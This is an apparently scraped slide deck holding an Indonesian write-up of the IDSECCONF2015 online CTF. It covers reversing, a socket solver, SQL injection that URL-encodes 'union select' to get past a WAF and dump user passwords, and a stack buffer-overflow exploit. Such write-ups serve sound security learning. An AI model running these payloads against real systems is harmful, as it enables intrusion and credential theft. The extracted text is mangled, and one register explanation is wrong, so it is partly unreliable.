Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Write up idsecconf2015 online ctf

1,571 views

Published on

farisv
"How to hack #IDSECCONF2015ctf online challenge"

Published in: Technology
  • Be the first to comment

Write up idsecconf2015 online ctf

  1. 1.   Miscellaneous  Gem​ ​50 Points  Diberikah sebuah file gem.pyc yang merupakan python byte­compiled. Ketika dicoba dijalankan, program  tidak mencetak apapun dan langsung keluar. Dengan menggunakan uncompyle2  (​https://github.com/Mysterie/uncompyle2​), kita akan mendapatkan python script berikut ini dari gem.pyc :    import​base64 from​​Crypto​.​Cipher​​import​AES class​FLAG​(​object​): ​def​encryption​(​self​,​privateInfo​): BLOCK_SIZE​=​​16 PADDING​=​​'|' pad​=​​lambda​s​:​s​+​​(​BLOCK_SIZE​-​len​(​s​)​​%​BLOCK_SIZE​)​​*​PADDING ​EncodeAES​​=​​lambda​c​,​s​:​base64​.​b64encode​(​c​.​encrypt​(​pad​(​s​))) key​=​​'YouwontWantTohaveAKeyLikethisBoy' ​print​​'key:'​,​key cipher​=​AES​.​new​(​key) encoded​=​​EncodeAES​(​cipher​,​privateInfo) ​print​​'Encryptedstring:'​,​encoded ​def​decryption​(​self​,​encryptedString​): PADDING​=​​'|' ​DecodeAES​​=​​lambda​c​,​e​:​c​.​decrypt​(​base64​.​b64decode​(​e​)).​rstrip​(​PADDING) encryption​=​encryptedString key​=​​'YouwontWantTohaveAKeyLikethisBoy' cipher​=​AES​.​new​(​key) decoded​=​​DecodeAES​(​cipher​,​encryption) ​print​decoded def​show​(): encrypt​=​​'CHhDMX7cVKNkzRmKQ8GMzyJDkfeijAoa7Lz/ADo13k/jq+e5mK6uNcLSMLGJ8F2Y' flag​=​FLAG​().​decryption​(​encrypt) ​print​flag def​key​(): key​=​​'YouwontWantTohaveAKeyLikethisBoy' ​print​​'keyis:'​​+​key    Terlihat bahwa ada sebuah object FLAG dengan fungsi enkripsi dan dekripsi menggunakan AES.  Perhatikan bahwa ada fungsi show() yang berisi pendekripsian suatu string tertentu menggunakan object  FLAG tetapi tidak pernah dipanggil. Tambahkan show() di paling akhir script agar fungsi show() dijalankan  ketika program berjalan. Simpan ​script​ tersebut kemudian jalankan ​script​­nya untuk mendapatkan flag.    Flag : ​idsecconf2015{PythonIsquiteEasyandLovely}              Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  2. 2.   IMFTest​ 250 Points  Pada ​challenge ​ini kita diharuskan untuk melakukan koneksi TCP ke 128.199.218.190 pada port 17845.    $  nc 128.199.218.190 17845  .­./`) ,­­­.    ,­­­. ________     .­.')|      /    ||        |   / `­' |  ,  /  ,  ||   .­­­­'    `­'`"`|  |_   /|  ||  _|____     .­­­. |  _( )_/ |  ||_( )_   |    |   | | (_ o _) |  |(_ o._)__|    |   | |  (_,_)  |  ||(_,_)     |   | |  |      |  ||   |     '­­­' '­­'      '­­''­­­'     **********  Selamat Datang Di  IMPOSSIBLE MISSION FORCE ­ Testing Center  Sektor Mampang Prapatan  **********  Calon Agen Harus Menyelesaikan Perhitungan Berikut:  Selesaikan Dalam Waktu 10.00 Detik Perhitungan Ini: ­72 *       Isi dari service ini adalah rentetan soal matematika yang harus diselesaikan dengan sangat cepat, bahkan  salah satu soalnya adalah kita harus menghitung fungsi turunan dalam waktu 0.585277 detik. Karena  mengerjakan semuanya dengan cepat tidak ​feasible​ maka kita harus membuat program yang akan  melakukan koneksi ke ​service​, melakukan ​parsing​ terhadap soal­soal yang diberikan, selesaikan soalnya,  dan kirim jawabannya ke ​service​.    Ada tiga bagian dari pertanyaan yang diberikan, yaitu perkalian, sistem persamaan linear dua variabel, dan  fungsi turunan. Saya menggunakan python karena mudah untuk melakukan ​socket programming​. Adapun  saya tidak memakai ​library​ matematika tambahan apapun karena sesungguhnya perhitungan yang  diperlukan cukup sederhana.    Berikut adalah ​script​ yang saya gunakan untuk menyelesaikan ​challenge​ ini.    import​socket def​connect​(): s​=​socket​.​socket​(​socket​.​AF_INET​,​socket​.​SOCK_STREAM) s​.​connect​((​'128.199.218.190'​,​​17845​)) ​return​s def​spl_solve​(​first_equation​,​second_equation​): y1​=​​int​(​first_equation​[​2​][​0​:-​1​]) y2​=​​int​(​second_equation​[​2​][​0​:-​1​]) x1​=​​int​(​first_equation​[​0​][​0​:-​1​]) x2​=​​int​(​second_equation​[​0​][​0​:-​1​])       Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  3. 3.   c1​=​​int​(​first_equation​[​4​]) c2​=​​int​(​second_equation​[​4​]) temp​=​y1 x1​=​x1​*​y2 y1​=​y1​*​y2 c1​=​c1​*​y2 x2​=​x2​*​temp y2​=​temp​*​y2 c2​=​c2​*​temp diff_x​=​x1​-​x2 diff_c​=​c1​-​c2 answer_x​=​diff_c​/​diff_x ​print​answer_x s​.​send​(​str​(​answer_x​)) data​=​s​.​recv​(​1024) ​print​data x1​=​​int​(​first_equation​[​0​][​0​:-​1​]) y1​=​​int​(​first_equation​[​2​][​0​:-​1​]) c1​=​​int​(​first_equation​[​4​]) x_value​=​x1​*​answer_x c1​=​c1​-​x_value answer_y​=​c1​/​y1 ​print​answer_y s​.​send​(​str​(​answer_y​)) def​turunan​(​value​,​x​): ​if​​(​"x"​​not​​in​value​): return​0 ​if​​(​"^"​​not​​in​value​): return​1 splitted​=​value​.​split​(​"^") val_x​=​splitted​[​0] power​=​​int​(​splitted​[​1​]) val_x_splitted​=​val_x​.​split​(​"x") final_x​=​​eval​(​str​(​x​)​​+​​"**"​​+​str​(​power​-​1​)) result​=​​int​(​val_x_splitted​[​0​])​​*​power​*​final_x ​return​result def​turunan_solve​(​fx​): answer​=​0 ​for​i​in​range​(​2​,​len​(​fx​)): value​=​fx​[​i] ​if​​(​fx​!=​​"+"​): answer​+=​turunan​(​value​,​x) ​print​answer s​.​send​(​str​(​answer​)) s​=​connect​() question_spl​=​​False question_turunan​=​​False finish​=​​False while​​not​finish: data​=​s​.​recv​(​1024) ​print​data ​if​​"PerhitunganIni"​​in​data: answer​=​str​(​eval​(​data​[​51​:])) ​print​answer s​.​send​(​answer)       Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  4. 4.   ​if​​"sistempersamaan"​​in​data: ​if​​(​question_spl​): data​=​s​.​recv​(​1024) ​print​data line​=​data​.​split​(​"n") first_equation​=​line​[​0​].​split​(​"") second_equation​=​line​[​1​].​split​(​"") ​else: line​=​data​.​split​(​"n") first_equation​=​line​[​1​].​split​(​"") second_equation​=​line​[​2​].​split​(​"") question_spl​=​​True spl_solve​(​first_equation​,​second_equation) ​if​​"turunan"​​in​data: line​=​data​.​split​(​"n") x​=​​int​(​line​[​0​][​76​:-​1​]) ​if​​(​question_turunan​): data​=​s​.​recv​(​1024) ​print​data line​=​data​.​split​(​"n") fx​=​line​[​0​].​split​(​"") ​else: fx​=​line​[​1​].​split​(​"") question_turunan​=​​True turunan_solve​(​fx) ​if​​(​"flag"​​in​data​): finish​=​​True            Jalankan ​script​­nya untuk menyelesaikan semua soal yang diberikan sehingga kita mendapatkan flag.    Flag : ​saatny4_meregangk4n_jari_anda_merdeka                                      Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  5. 5.   Web Hacking  theNOCweb​ 150 Points       Satu­satunya ​web hacking challenge​ pada CTF ini adalah sebuah situs yang mempunyai  beberapa halaman berita dan layanan untuk melakukan ping ke alamat tertentu.    Pencarian celah ​sql injection flaw​ dapat dilakukan dengan mudah dengan menambahkan ​single quote​/'  pada parameter id di view.php.        http://128.199.188.104/idsecconfweb/view.php?id=1' Couldnotgetdata:YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondsto yourMySQLserverversionfortherightsyntaxtousenear''1'''atline1   Setelah mencoba melakukan beberapa kali ​injection​, dapat diperkirakan bahwa SQL ​query​ yang berjalan  adalah select * from table where id='$id' sehingga ​injection​ yang harus kita masukkan di id adalah '  [injection_query] ­­ a    Perhatikan bahwa setelah ­­ sebaiknya ada spasi dan karakter sembarang agar nantinya ­­ tidak langsung  menempel dengan ' sehingga tidak terjadi ​syntax error​. Selanjutnya akan dilakukan ​query​ order by untuk  mengetahui jumlah kolom dari tabel yang sedang di­select. Akan didapat bahwa jumlah kolom adalah 3  karena ketika order by 4 akan keluar pesan ​error​.    http://128.199.188.104/idsecconfweb/view.php?id='orderby3--a(normal) http://128.199.188.104/idsecconfweb/view.php?id='orderby4--a(Unknowncolumn'4'in 'orderclause)            Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  6. 6.   Masalah terjadi ketika kita ingin meng­union hasil select dengan 1,2,3. Akan tampil halaman seperti berikut.        Rupanya web menggunakan WAF (Web Application Firewall) untuk mencegah serangan ​sql injection​. Dari  hasil coba­coba, diperkirakan bahwa sebenarnya halaman WAF ini adalah halaman 404 karena jika kita  mengetikkan direktori sembarang akan keluar tampilan yang sama. Kemungkinan file .htaccess yang ada  dikonfigurasi agar web menuju halaman 404 apabila ​url request ​mengandung ​string​ terlarang (​case  insensitive​). Hal ini membuat ​injection query​ yang mengandung ​string​ union, select, UnIOn, UNION, dan  lain sebagainya menjadi tidak bekerja.    Dengan memahami bagaimana WAF ini bekerja (menggunakan ​string matching​) maka trik yang bisa dicoba  adalah dengan meng­​encode​ ​string​ yang terlarang menggunakan Percent­encoding / URL encoding. Hal ini  dilakukan agar ​url request​ tidak mengandung ​string​ yang terlarang namun tetap ​legitimate​.    Selanjutnya akan dicoba untuk melakukan ​injection​ dengan meng­​encode​ union select terlebih dahulu  menjadi %75%6e%69%6f%6e%20%73%65%6c%65%63%74.    http://128.199.188.104/idsecconfweb/view.php?id='%75%6e%69%6f%6e%20%73%65%6c%65%63%741,2,3 --a   Dan hasilnya adalah :              Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  7. 7.   Ternyata berhasil! Selanjutnya akan dilakukan ​sql injection ​seperti biasa dengan mengganti salah satu  angka yang terlihat menjadi informasi­informasi yang kita butuhkan.    http://128.199.188.104/idsecconfweb/view.php?id='%75%6e%69%6f%6e%20%73%65%6c%65%63%74 1,@@version,3--a MySQLversion:5.5.44-0ubuntu0.14.04.1 http://128.199.188.104/idsecconfweb/view.php?id='%75%6e%69%6f%6e%20%73%65%6c%65%63%74 1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()--a tablename:admin,berita,user ttp://128.199.188.104/idsecconfweb/view.php?id='%75%6e%69%6f%6e%20%73%65%6c%65%63%74 1,group_concat(column_name),3frominformation_schema.columnswheretable_name=0x75736572--a columnnamefromuser:id,username,password http://128.199.188.104/idsecconfweb/view.php?id='%75%6e%69%6f%6e%20%73%65%6c%65%63%74 1,concat_ws(0x3a,id,username,password),3fromuser–a 1:admin:qwerty1232:john:1234563:flag:injek_teruss_sampe_mampus   Flag : ​injek_teruss_sampe_mampus                                                      Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  8. 8.   Reverse Engineering  fake​ 50 Points  Diberikah sebuah file ​binary​ ELF 32­bit. Jalankan file tersebut dan jika komputer tersambung dengan  koneksi Internet maka akan keluar tulisan ​{+}Sukses!KomputerAndaTelahTerproteksi​ sementara  jika tidak tersambung maka yang keluar adalah ​{-}hosttidakditemukan​. Kemungkinan program ini  akan mencoba untuk melakukan koneksi ke ​host​ tertentu. Kita dapat menggunakan ​wireshark​ untuk melihat  ada koneksi ke mana saja ketika program ini berjalan. Namun, kita juga dapat melihat isi ​binary​ tersebut  dengan ​strings​.    $ stringseasy …………. …………. 3456 7890 irc. free node .net :666f botn etctf merd <:t$ [^_] [^_] ………….   Terlihat ada alamat irc.freenode.net. Kemungkinan hasil strings ini tidak lengkap. Kita bisa coba untuk  membuka ​binary​ dengan ​text​ ​editor​ atau ​hex editor​ untuk melihat ada karakter apa yang tidak muncul di  sekitar tulisan itu. Saya menggunakan hexedit dan menemukan potongan seperti ini :  000015F0 0000C784 24360200 00697263 2EC78424 ....$6...irc...$ 00001600 3A020000 66726565 C784243E 0200006E :...free..$>...n 00001610 6F6465C7 84244202 00002E6E 6574C784 ode..$B....net.. 00001620 24460200 003A3636 3666C784 244A0200 $F...:666f..$J.. 00001630 003700C7 84242C02 0000626F 746EC784 .7...$,...botn.. 00001640 24300200 00657463 7466C784 24340200 $0...etctf..$4.. 00001650 006600C7 84242402 00006D65 7264C784 .f...$$...merd.. 00001660 24280200 00656B61 00C74424 043D9B04 $(...eka..D$.=.. Connect​​ke server IRC dengan host irc.freenode.net:6667 kemudian masuk ke channel #botnetctf dengan  password merdeka untuk mendapatkan flag.    Flag : ​b0tnet_n3v3r_di3_they_simply_f4de_4way          Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  9. 9.   debugme​ ​100 Points  Diberikah sebuah layanan di alamat 128.199.218.190 port 15178.    $ nc128.199.218.19015178 Canudebugme,bro. Hmmm,sinceyou'rehere...Whomi?   Program untuk layanan tersebut juga diberikan, yaitu sebuah file ​binary​ 64­bit. Jika dijalankan maka  program tersebut akan membuka port 15178 di komputer kita dan menjalankan layanan yang sama.  Program ini akan meminta sebuah masukan dan jika tidak sesuai maka akan keluar pesan ​Zzzzz... NO....no..no​.    Saya menggunakan IDA untuk mempelajari ​binary​ ini. Berikut adalah potongan IDA­View dari fungsi main.    Terlihat bahwa program akan memanggil fungsi anti_debug dan ctfserver. Program juga akan menjalankan  handler. Jika dilihat­lihat, fungsi anti_debug akan mencegah user untuk melakukan LD_PRELOAD dan  mengatur breakpoint. Fungsi ctfserver adalah membuka layanan TCP di port 15178 sementara yang  mencetak tulisan, membaca masukan, dan mengecek tulisan adalah handler. Berikut adalah salah satu  potongan dari IDA­View handler.                            Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  10. 10.   Dapat diperkirakan bahwa fungsi memanggil _strstr terhadap needle yang berada di register $rsi ([rbp­420h]  dan haystack yang berada di register $rdi ([rbp­410h]). Cara kerja _strstr adalah mengecek apabila string  needle merupakan substring dari string haystack. Di sini string haystack adalah input dari user. Apabila ada,  program akan mengeluarkan “Nice…” dan memanggil fungsi send_flag.    Pada ​disassembly​ fungsi send_flag, program akan membuka dan mencetak isi flag.txt sehingga kita harus  mengirimkan string yang mengandung needle ke layanan yang ada di server. Untuk itu tugas kita adalah  mengetahui string dari needle. Sayangnya anti_debug yang ada mencegah kita melakukan breakpoint di  address 0x4014FF (address ketika melakukan call _strstr, lihat di IDA­nya) agar bisa melihat isi dari register  $rsi. Kita bisa melakukan ​patching​ pada program agar anti_debug tidak dipanggil. Namun, jika cermat kita  akan menemukan potongan ​assembly​ yang seperti ini (tidak dalam baris yang berturut­turut) pada handler :    ptr=qwordptr-420h .. mov [rbp+ptr],rax mov rax,[rbp+ptr] mov byteptr[rax],6Ah .. mov rax,[rbp+ptr] add rax,1 mov byteptr[rax],6Fh .. mov rax,[rbp+ptr] add rax,2 mov byteptr[rax],6Bh .. mov rax,[rbp+ptr] lea rdx,[rax+5] mov rax,[rbp+ptr] movzx eax,byteptr[rax+1] .. mov rax,[rbp+ptr] lea rdx,[rax+4] mov rax,[rbp+ptr] movzx eax,byteptr[rax+5]       Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  11. 11.   .. mov rax,[rbp+ptr] lea rdx,[rax+3] mov rax,[rbp+ptr] movzx eax,byteptr[rax+4 .. mov rax,[rbp+ptr] add rax,6 mov byteptr[rax],21h   Singkatnya, jika rbp+ptr di­​translate​ menjadi array pada pseudocode maka kira­kira seperti ini :    array[0]=0x6a array[1]=0x6f array[2]=0x6b array[5]=array[1] array[4]=array[5] array[3]=array[4] array[6]=0x21   Karena 0x6a = j, ox6f = o, 0x6b = k, dan 0x21 = !, maka dapat disimpulan rbp+ptr atau rbp­420h atau needle  adalah ‘jokooo!’. Masukkan string apapun yang mengandung ‘jokooo!’ ke layanan yang ada di server untuk  mendapatkan flag.    $ nc128.199.218.19015178 Canudebugme,bro. Hmmm,sinceyou'rehere...Whomi?jokooo! Nice...flag{dirgahayu_RI_70_brooo}   Flag : ​dirgahayu_RI_70_brooo                        Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  12. 12.   ladies​ 300 Points  Pada ​challenge ​ini kita diberikan sebuah ASCII art seorang perempuan. Karena banyak karakter ‘+’, ‘­’, ‘,’,  ‘.’, ‘<’, ‘>’, ‘[‘, dan ‘]’ ditambah dengan nama file yang diberikan adalah let_me_be_your_bf maka dapat  diperkirakan bahwa sebenarnya file tersebut mengandung potongan kode Brainf*ck  (​https://en.wikipedia.org/wiki/Brainfuck​). Bahasa pemrograman ini adalah bahasa minimalis yang cara  kerjanya mirip dengan Turing Machine (​https://en.wikipedia.org/wiki/Turing_machine​). Hanya dengan 8 buah  operasi, bahasa pemrograman ini dapat melakukan komputasi apapun namun tentunya sangat tidak  practical​. Berikut adalah operasi yang dapat dilakukan dan kode C yang ekivalen.    Awal program  Inisialisasi  char​array​[​infinitelylargesize​]​​=​​{​0​}; char​​*​ptr​=​array; >  Geser pointer ke kanan  ++​ptr; <  Geser pointer ke kiri  --​ptr; +  Increment​ pointer saat ini  ++*​ptr; ­  Decrement ​pointer saat ini  --*​ptr; .  Cetak isi pointer saat ini  putchar​(*​ptr​); ,  Baca satu ​byte​ dari input dan  masukkan ke pointer  *​ptr​=​getchar​(); [  Jika isi pointer saat ini bukan 0,  lanjutkan. Jika 0, lanjutkan ke  setelah pasangan­nya (‘]’)   while​​(*​ptr​)​{ ]  Jika isi pointer saat ini 0,  lanjutkan. Jika bukan 0, balik lagi  ke awal ke pasangan­nya (‘[‘)  }   Kita harus ​parse​ ASCII art yang diberikan untuk diambil operasi­operasi yang ​legit​ saja. Selain itu karena  saya lebih nyaman membaca bahasa C (walaupun isinya hanya geser­geser pointer :P ), saya juga akan  langsung men­​translate​­nya dengan ​syntax​ seperti di atas. Di sini saya menggunakan ​bash scripting ​dan  ukuran ​array​ yang ada saya set menjadi 1000.  INPUT​=​let_me_be_your_bf code​+=​$​'#include<stdio.h>n#include<stdlib.h>nnintmain(){n' indent​=1 code​+=​$​'tchararray[1000]={0};ntchar*ptr=array;n' while​IFS​=​read​-​r​-​n1c do       Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  13. 13.   ​[​​"$c"​​==​​"."​​-​o​"$c"​​==​​","​​-​o​"$c"​​==​​">"​​-​o​"$c"​​==​​"<"​​-​o​"$c"​​==​​"["​​-​o​"$c"​​==​​"]"​​-​o "$c"​​==​​"+"​​-​o​"$c"​​==​​"-"​​]​​&&​{ ​[​​"$c"​​==​​"]"​​]​​&&​​{​​((​indent​--));​} ​for​​((​i​=​0​;​i​<​$indent​;​i​++));​​do code​+=​$​'t' ​done ​[​​"$c"​​==​​">"​​]​​&&​​{​code​+=​$​'++ptr;n'​;​} ​[​​"$c"​​==​​"<"​​]​​&&​​{​code​+=​$​'--ptr;n'​;​} ​[​​"$c"​​==​​"+"​​]​​&&​​{​code​+=​$​'++*ptr;n'​;​} ​[​​"$c"​​==​​"-"​​]​​&&​​{​code​+=​$​'--*ptr;n'​;​} ​[​​"$c"​​==​​"."​​]​​&&​​{​code​+=​$​'putchar(*ptr);n'​;​} ​[​​"$c"​​==​​","​​]​​&&​​{​code​+=​$​'*ptr=getchar();n'​;​} ​[​​"$c"​​==​​"["​​]​​&&​​{​code​+=​$​'while(*ptr){n'​;​​((​indent​++));​} ​[​​"$c"​​==​​"]"​​]​​&&​​{​code​+=​$​'}n'​;​} } done​​<​​"$INPUT" code​+=​$​'treturn0;n}n' echo​"$code"​​>​​"ladies.c" Kode C yang dihasilkan ada sekitar 3600 baris. SIlahkan lihat di ​http://pastebin.com/cyrWzstw​. Selanjutnya  kita bisa coba ​compile​ file C yang dihasilkan. Program yang berjalan akan meminta ​password​ dan akan  mengeluarkan nope apabila salah.    $ gccladies.c-oladies $ ./ladies Password:aaaaaaaaaaaaaaaaaaaaaaaaaa nope   Dari hasil coba­coba, panjang string masukan minimal harus 16 agar program mengeluarkan pesannya.  Melakukan ​debugging​ di program yang dihasilkan cukup sulit karena hasil ​disassembly​­pun adalah  perintah­perintah yang panjang (geser penunjuk memori dan sebagainya) seperti pada program aslinya.  Akhirnya saya memutuskan untuk mempelajari 3600 baris kode yang ada.    Di bagian awal kode, ada 16 buah *ptr=getchar(); yang berarti di bagian kode tersebut, program akan  membaca 16 buah karakter. Berikutnya sepertinya dilakukan pengecekan terhadap ke­16 karakter tersebut  namun kode yang ada sulit dipahami. Yang menarik adalah di bagian bawah ada banyak putchar(*ptr); di  dalam while(*ptr). Saya curiga bahwa kumpulan karakter tersebut adalah pesan yang dikeluarkan apabila  password benar. Maka saya tambahkan ++*ptr sebelum while yang sesuai (baris 3106) agar program  masuk ke iterasi tersebut kemudian saya compile dan jalankan program kembali.  $ gccladies.c-oladies $ ./ladies Password:aaaaaaaaaaaaaaaaaaaaaaaaaaaaa flagwasburiedbehindthewall,haveyoufoundit?         Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  14. 14.   Ternyata pesan yang keluar bukanlah flag. Saya berarti harus temukan ​password​ yang benar apa. Dengan  mencermati kode cukup lama, saya menemukan ada 16 buah putchar(*ptr) yang masing­masing ada di  dalam sebuah iterasi. Dengan cara yang sama dengan sebelumnya, saya tambahkan ++*ptr di setiap  iterasi­nya kemudian saya compile dan jalankan program kembali.    $ gccladies.c-oladies $ ./ladies Password:aaaaaaaaaaaaaaaaaaaaaaaaaaaaa Congratulations! flagwasburiedbehindthewall,haveyoufoundit?  Kumpulan karakter yang ada ternyata adalah ‘Congratulations!’. Dari informasi ini dan mempelajari kode  lebih lanjut, sebelum iterasi yang didalamnya mencetak sebuah karakter, ada berbagai macam operasi yang  sepertinya adalah mengecek tiap karakter masukan. Dan untungnya setiap karakter dicek terpisah dan  apabila satu karakter saja sudah benar maka program akan mengeluarkan karakter dari ‘Congratulations!’  sesuai dengan posisi yang benar. Ada dua cara untuk mendapatkan ​password​ yang benar, yaitu dengan  mencetak isi array yang ada di posisi yang sesuai atau dengan ​bruteforce​. Saya melakukan keduanya  karena saya ingin mengeksplorasi lebih dalam.    Untuk cara pertama, kita bisa tambahkan kode untuk mencetak isi array yang ada di posisi kode yang  melakukan pengecekan terhadap suatu karakter. Di sini saya hanya mencoba­coba meletakkan kode  menetak isi array sampai mendapatkan informasi yang berguna karena menurut saya hal itu lebih cepat  (buat saya) dibanding memahami alur kodenya.    Agar lebih mudah saya tambahkan fungsi debug() untuk mencetak isi array.    void​debug​(​char​array​[])​{ ​int​i; ​for​​(​i​=​​0​;​i​<​​1000​;​i​++)​printf​(​"%c"​,​array​[​i​]); printf​(​"n"​); }    Kemudian saya cukup tambahkan debug(array); di posisi yang saya inginkan. Setelah mencoba­coba  meletakkan debug(array); di sebelum iterasi pertama yang mengandung putchar(*ptr) mencurigakan, saya  mendapatkan ini.    $ gccladies.c-oladies  $ ./ladies Password:aaaaaaaaaaaaaaaaaaaaaaaa r4aaaaaaaaaaaaaaaa flagwasburiedbehindthewall,haveyoufoundit?        Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  15. 15.   Kemudian saya pikir karakter pertama dari ​password​­nya adalah 4. Saya pun mencoba untuk memasukkan  16 karakter string yang depannya 4 di program asli (sebelum diubah­ubah kodenya).    $ ./ladies Password:4aaaaaaaaaaaaaaaa C nope   Karena program mengeluarkan ‘C’ maka berarti benar bahwa program akan mengecek setiap karakter yang  ada kemudian apabila benar, maka akan mencetak karakter dari ‘Congratulations!’ di posisi yang sesuai.  Selanjutnya kita bisa melakukan cara yang sama untuk mengetahui 15 karakter sisanya.    Cara yang lebih cepat dari melihat­lihat isi array adalah dengan melakukan ​bruteforce​ satu persatu  karakternya. Contoh, untuk mencari karakter kedua kita bisa gunakan ​bash script​ seperti berikut.    for​i​in​​{​1.​.​255​};​​do ​pass​=​"4" ​pass​+=​$​(​printf​"$(printf'%03o'"​$i​")"​) ​pass​+=​"aaaaaaaaaaaaaaaaaaaaaaaaa" echo$pass echo$pass​|​​./​ladies; done;   Kemudian jalankan ./script.sh | less untuk melihat yang mana yang membuat program mengeluarkan ‘Co’.  Akan didapat seperti ini di salah satu percobaan ​bruteforce​ :    4maaaaaaaaaaaaaaaaaaaaaaaaa Password:Co nope   Hal ini berarti dua karakter pertama pada ​password​ adalah ‘4m’. Kemudian inisialisasi pass pada ​script  dengan ‘4m’ untuk mendapatkan karakter ketiga dan seterusnya. Pada akhirnya akan didapat  password​­nya adalah ‘4m4Z1Ng_bR@1nFcK’.    $ ./ladies Password:4m4Z1Ng_bR@1nFcK Congratulations! flagwasburiedbehindthewall,haveyoufoundit?         Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  16. 16.   Setelah dicoba di­​submit​,​ ​4m4Z1Ng_bR@1nFcK bukanlah flag­nya. Kemudian saya curiga apabila program  dimasukkan ​password​ yang benar maka isi array dari program akan berisi flag. Kemudian saya ubah  kode­nya lagi untuk mencetak isi array di akhir kode.    $ gccladies.c-oladies  $ ./ladies Password:4m4Z1Ng_bR@1nFcK Congratulations! flagwasburiedbehindthewall,haveyoufoundit? FLAG{b2ain_fUcK_pHuN}   Didapatkanlah flag yang benar untuk ​challenge​ ini.    Flag : ​b2ain_fUcK_pHuN                                              Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  17. 17.   Exploit  pwn easy​ ​100 Points  File ​binary​ ELF 64­bit yang diberikan pada ​challenge ​pwn easy adalah file ​binary​ sederhana yang  membaca masukan dari user. Disediakan juga layanannya yang berada di 128.199.218.190 port 17045.    $ nc128.199.218.19017045 ++IMPOSSIBLEMISSIONSFORCE-SEKTORMAMPANGPRAPATAN++ ServerAkses MasukkanIDAgen:aaaaaaaaaa AksesDitolak   $ filepwneasy pwneasy:ELF64-bitLSB executable,x86-64,version1(SYSV),dynamicallylinked(usesshared libs),forGNU/Linux2.6.32,BuildID[sha1]=3447b68248c1cdcc52706500e94f66d29da76cf7,not stripped $ ./checksec.sh--filepwneasy RELRO STACKCANARY NX PIE RPATH RUNPATH PartialRELRO Nocanaryfound NXenabled NoPIE NoRPATH NoRUNPATH   Saya menggunakan cheksec.sh dari ​http://www.trapkit.de/tools/checksec.html​ untuk mengecek proteksi  yang ada. Masukkan karakter yang banyak dan lihat bahwa program akan mengalami ​segmentation fault  karena ​buffer overflow​.    $ cat<(python-c'print"A"*500')|./pwneasy ++IMPOSSIBLEMISSIONSFORCE-SEKTORMAMPANGPRAPATAN++ ServerAkses MasukkanIDAgen:Segmentationfault(coredumped)   Untuk lebih memahami ​binary​ yang ada, dilakukan ​decompilation​ menjadi pseudo C dengan menggunakan  Hopper.    function​indonesia{ system​(​"catflag.txt"​); ​return; } function​jalan_keflag{ rax​=​read​(​0x0​,​var_80​,​​0x200​); ​return​rax; } function​main{ write​(​0x1​,​​"++IMPOSSIBLEMISSIONSFORCE-SEKTORMAMPANGPRAPATAN++nttServer AksesnMasukkanIDAgen:"​,​​0x5a​); jalan_keflag​(); rax​=​puts​(​"AksesDitolak"​); ​return​rax; }       Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  18. 18.   Terlihat bahwa program akan memanggil fungsi jalan_keflag() dan membaca ​input ​dari user. Tidak ada  pengecekan panjang dari ​input​ sehingga dapat terjadi ​buffer overflow​ apabila panjang ​input ​lebih dari ​buffer  yang disediakan. Ukuran ​buffer​ adalah var_80 yang merupakan 0x80 (128 bytes) sehingga batas karakter  yang seharusnya adalah 128 karakter.    Fungsi indonesia() melakukan ‘cat flag.txt’ namun tidak pernah dipanggil sehingga kita harus memanfaatkan  buffer overflow​ agar fungsi ini terpanggil. Mengapa hal ini bisa terjadi? Sederhananya tiap fungsi pada  binary ​mempunyai alamat tertentu dan di setiap komputasi program, program bisa menyimpan suatu nilai di  register yang fungsinya bermacam­macam. Bagi yang belum familiar dengan ​assembly​ dan  arsitektur/organisasi komputer silahkan untuk mempelajarinya terlebih dahulu. Salah satu register pada  processor ​64­bit adalah rdi yang merupakan ​instruction pointer​ dan berguna untuk menunjukkan ​address  yang berisi komputasi yang akan dijalankan. Register ini dapat kita ​overwrite ​dengan ​buffer­overflow​.  Kira­kira bentuk ​stack frame­​nya ketika program membaca input seperti ini :    rip (​instruction pointer​ ­ 8 bytes)  rbp (​base pointer​ ­ 8 bytes)    buffer (128 bytes)    Apabila kita memasukkan 142 karakter, 8 karakter terakhir akan masuk menjadi rip. Kita harus manfaatkan  ini agar rip isinya adalah ​address​ dari fungsi indonesia(). Tentunya kita harus tau alamat dari fungsi ini  terlebih dahulu.    $ objdump-Mintel-dpwneasy|grepindonesia 0000000000400616<indonesia>:   Alamat dari fungsi indonesia() relatif terhadap program adalah 0x400616. Berarti yang harus kita masukkan  ke program adalah 136 karakter sembarang dan 0x400616. Karena ​processor ​memakai ​little­endian  (​https://en.wikipedia.org/wiki/Endianness​),​ masukkan dengan terbalik urutan byte­nya sehingga menjadi  0x166040. Tambahkan juga padding 00 sebanyak 4 kali agar menjadi 8­bytes sesuai ukuran rip.    $ cat<(python-c'print"A"*136+"x16x06x40x00x00x00x00x00"')|nc128.199.218.190 17045 ++IMPOSSIBLEMISSIONSFORCE-SEKTORMAMPANGPRAPATAN++ ServerAkses MasukkanIDAgen:flag{nah_cob4_anda_ngopi_dulu_sebelum_l4njut_lagi}   Flag : ​nah_cob4_anda_ngopi_dulu_sebelum_l4njut_lagi        Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
